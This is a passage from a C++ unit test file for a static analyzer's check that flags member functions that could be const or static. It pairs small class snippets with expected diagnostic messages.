assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n 